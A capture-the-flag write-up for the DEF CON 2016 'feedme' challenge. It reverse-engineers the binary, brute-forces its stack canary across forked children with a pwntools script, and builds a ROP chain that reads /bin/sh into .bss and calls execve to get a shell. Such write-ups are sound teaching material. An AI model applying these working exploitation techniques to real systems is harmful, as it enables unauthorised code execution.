articleSep 18, 2020
DEF CON 2016 feedme Vulnerability Analysis
Writeup for DEF CON 2016 feedme: fork-stable canary brute-force across child processes, then a static-binary ROP chain to read /bin/sh into .bss and execve.
Vulnerability analysis
Binary overview

Protections observed:
- stripped
- statically linked
- 32 bit
Mitigations
- No RELRO
- Canary found
- NX enabled
- PIE disabled
Binary analysis

Logic check 1
- Feeding
0x41bytes ofAtrips SSP, so a canary is present.

Logic check 2
- Feeding only
0x40bytes ofAdoes not trip SSP. That suggests the first input byte is the length of the following payload.

System calls
- While looking at syscall coverage, the binary sends
SIGCHLD, printsChild exitviawrite, then creates another child. So the program loops withfork.
main

int __cdecl main(int argc, const char **argv, const char **envp)
{
ssignal(14, sub_8048E24);
alarm(0x96u);
setvbuf((unsigned int *)stdout, 0, 2, 0);
sub_804F820(off_80EA4BC);
sub_80490B0();
return 0;
}maindoes basic setup withalarm,ssignal, andsetvbuf, then callssub_80490B0.
sub_80490B0
- Call this function
solve.

- It loops
0x31Ftimes and runs the inner logic each pass. - Inside,
sub_806CC70uses__lib_fork, so each iteration creates a child.

fork path
sub_804F700 [feedme]
- Call
sub_804F700feedme.

v3andv4live in.bss,0x20apart.

Offset between them
- Treat
v4as the canary: the code plants the value fromgs:0x14between the stack buffer and the frame pointer, then checks it on exit.

Canary check
sub_8048E42 [read_byte]

- Reads one byte into local
v1viaread. v2is the size argument (1); on failure the process exits.- The return value is that one user-supplied byte.
sub_8048E7E [next_read]

- Takes the
read_byteresult asa2and globalv3asa1. - Uses that byte as a length and fills the
v3buffer with that many bytes fromread. - There is no check that the length stays within the 32-byte buffer, so you can send up to 255 bytes — enough to overflow — but SSP blocks a naive overwrite.
Canary analysis

- Under gdb you can watch the canary come from
gs:0x14onto the stack. - On 32-bit the canary is four bytes; the top byte is always NUL.
- Global
v3and the canary both sit in.bss, 32 bytes apart, so an overflow can touch the canary one byte at a time. Brute-force the lower three bytes.
Fork analysis

- The outer loop runs
0x31Ftimes: fork a child, finish the inner logic, kill it, fork again.

forkclones the parent's memory, including the canary.- Parent and child diverge after the call, but the canary value is the same copy. That makes per-byte brute-force across children viable.
Exploit path
Attack
Canary brute-force
canary = '\x00'
buf = p8(0x90)*0x20
def get_canary():
global canary
for _ in range(3):
log.info("byte_%d"%_)
for i in range(0xff):
p.recvuntil("FEED ME!\n")
len_byte = len(buf) + len(canary) + 1
p.send(chr(len_byte)+buf + canary + chr(i))
res = p.recvuntil('Child exit.\n')
if 'YUM' in res:
canary += chr(i)
log.info("canary: "+canary.encode('hex'))
break
print hexdump(canary)- The NUL high byte is known. Guess the lower three bytes,
0x00–0xFFeach. Iffeedmereturns cleanly and printsYUM, that byte matched; otherwise keep looping.

Leaked canary
ROP scenario
- NX is on, so you cannot run shellcode from the buffer. Overflow into the return address with a ROP chain and steer EIP that way.
- The binary is statically linked, so you cannot pull helpers from a shared libc. Drive syscalls through ROP instead.
Syscalls needed for ROP

- There is no
/bin/shstring in the binary. Use ROP toreadinto the start of.bss, thenexecvethat path.
ROP gadgets
- Find gadgets with ROPgadget.

ROP chain
read(0, &.bss, length(/bin/sh\x00))
execve(.bss, 0, 0)#ROP
pppr = 0x806f370
peax = 0x80bb496
syscall = 0x806fa20
# read
rop = p32(peax)
rop += p32(0x3)
rop += p32(pppr)
rop += p32(len("/bin/sh\x00"))
rop += p32(e.bss())
rop += p32(0x0)
rop += p32(syscall)
# execve
rop+= p32(peax)
rop+= p32(0xb)
rop+= p32(pppr)
rop+= p32(0x0)
rop+= p32(0x0)
rop+= p32(e.bss())
rop+= p32(syscall)Exploit
payload = p8(0x41)*0x20 + canary + p8(0x41)*0xC + rop
p.send(chr(len(payload))+payload)
p.send("/bin/sh\x00")
p.interactive()
- The ROP chain yields a shell.